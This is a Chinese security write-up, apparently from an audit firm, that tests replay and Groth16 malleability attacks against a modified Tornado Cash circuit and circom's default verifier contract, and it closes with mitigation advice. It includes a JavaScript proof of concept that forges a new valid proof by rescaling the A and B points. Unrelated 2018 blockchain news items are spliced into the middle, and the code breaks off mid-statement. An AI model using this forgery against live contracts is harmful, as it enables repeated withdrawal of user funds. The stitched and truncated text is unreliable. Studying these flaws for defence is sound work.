在上篇文章里，我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞，本文中我们将以Tornado
上图中为了防止攻击者使用同一个Proof进行双花攻击，而又不暴露nullifier、secret，Tornado
commitment <== commitmentHasher
component main = Withdraw(20);注意：我们在实验过程中发现，TornadoCash 在 GitHub 中的最新版代码里（https://github
2.2 实验验证2.2.1 验证证明 — circom 生成的默认合约首先，我们使用circom 生成的默认合约进行验证，该合约由于根本没有记录任何已经使用过的Proof相关信息，攻击者可多次重放proof1造成双花攻击。在下列实验中，可以针对同一电路的同一个input，无限次重放proof，均能通过验证。
迅雷CEO陈磊：区块链一定要深入到老百姓当中:迅雷CEO陈磊在接受媒体采访时表示，“区块链一定要深入到老百姓当中。区块链的发展还在一个相对早期的阶段，所以一旦你掌握了区块链的一些正在改进中的技术，那么就能取得领先，但是这些技术必须要和现实场景结合才能有意义。我们希望看到，迅雷生态链上能有大量推动实体经济发展和C端用户参与的应用，这是区块链发展的核心动力。”[2018/5/20]
下图是使用proof1在默认合约中证明验证通过的实验截图，包含上篇文章中使用的Proof参数A、B、C，以及最终的结果：
下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果，实验发现针对同一input，无论攻击者使用多少次proof1进行验证，都可以通过：
当然在我们在snarkjs原生的js代码库中进行测试，也并未对已经使用过的Proof进行防范，实验结果如下：
针对circom 生成的默认合约中的重放漏洞，本文记录已使用过的正确Proof(proof1)中的一个值，以达到防止使用验证过的proof进行重放攻击的目的，具体如下图所示：
继续使用proof1进行验证，实验发现在使用同样Proof进行二次验证时，交易revert报错："The note has been already spent"，结果如下图所示：
但是此时虽然达到了防止普通proof重放攻击的目的，但是前文介绍过groth16算法存在延展性漏洞问题，这种防范措施仍可以被绕过。于是下图我们构造PoC，按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明，实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下：
import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import { utils } from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){ let inputA = "7"; let inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617'); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("The proof:",proof); // 生成逆元，生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv(X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("The timesScalar is:",F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("The curve is:",vKey); const curve = await curves.getCurveFromName(vKey.curve); const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2点转化为proof console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof.new_pi_b:",proof.new_pi_b。生成的伪造证明proof2，具体如下图所示：
明日国会听证会将深入研究区块链在供应链管理中的应用:据coindesk消息，国会小组委员会将在明天的听证会上继续区块链实况调查任务。明日的会议将比2月份由科学，空间和技术研究和技术及监督小组委员会内部委员会举行的类似听证会更加详细，将深入研究该技术在供应链管理中的应用。众议院科学委员会主席Lamar Smith的一位代表告诉CoinDesk，“知识产权，网络安全以及航运和物流方面的专家”将参加此次听证会。[2018/5/8]
再次使用该参数调用verifyProof函数进行证明验证时，实验发现同一input的情况下使用proof2验证再次通过了，具体如下所示：
虽然伪造的证明proof2也只能再使用一次，但由于针对同一input的伪造的证明存在几乎无限多个，因此可能造成合约资金被无限次被提取。
本文同样使用circom库的js代码进行测试，实验结果proof1和伪造的proof2都可以通过验证：
经历了那么多次失败，难道没有一种方式可以一劳永逸吗？此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法，本文继续修改合约代码如下：
需要说明的是，为了展示groth16算法延展性攻击的防范简单措施，**本文采取直接记录原始电路input的方式，但是这不符合零知识证明的隐私原则，电路输入应当是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识，所以隐私性相对于Tornado.Cash来说较差，仅作为实验Demo展示结果如下：
可以发现，上图中使用同一input的Proof，只有第一次可以通过验证proof1，随后该proof1和伪造的proof2都不能通过校验。
本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害，并进一步验证了使用在合约层面的普通措施可以防护重放漏洞，但无法防止groth16的延展性攻击，对此，我们建议零知识证明的项目在项目开发时，应注意：
与传统DApp使用地址等唯一数据生成节点数据的方式不同，zkp项目通常是使用组合随机数的方式生成Merkle tree节点，需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中，或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。
zkp项目方通常使用mapping记录已使用的过的Proof，防范双花攻击。需要注意使用Groth16开发时，由于存在延展性攻击，因此记录需使用节点原始数据，而不能仅仅使用Proof相关数据标识。
复杂电路可能存在电路不确定、欠约束等问题，合约验证时条件不完整，实现逻辑存在漏洞等问题，我们强烈建议项目方在项目上线时，寻求对电路和合约都有一定研究的安全审计公司进行全面审计，尽可能的保证项目安全。
Beosin
企业专栏
阅读更多
金色财经
Web3活动
Techub Info
区块律动BlockBeats
金色财经 善欧巴
金色早8点
比推 Bitpush News
TaxDAO
SeeDAO见道
WJB
白话区块链
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。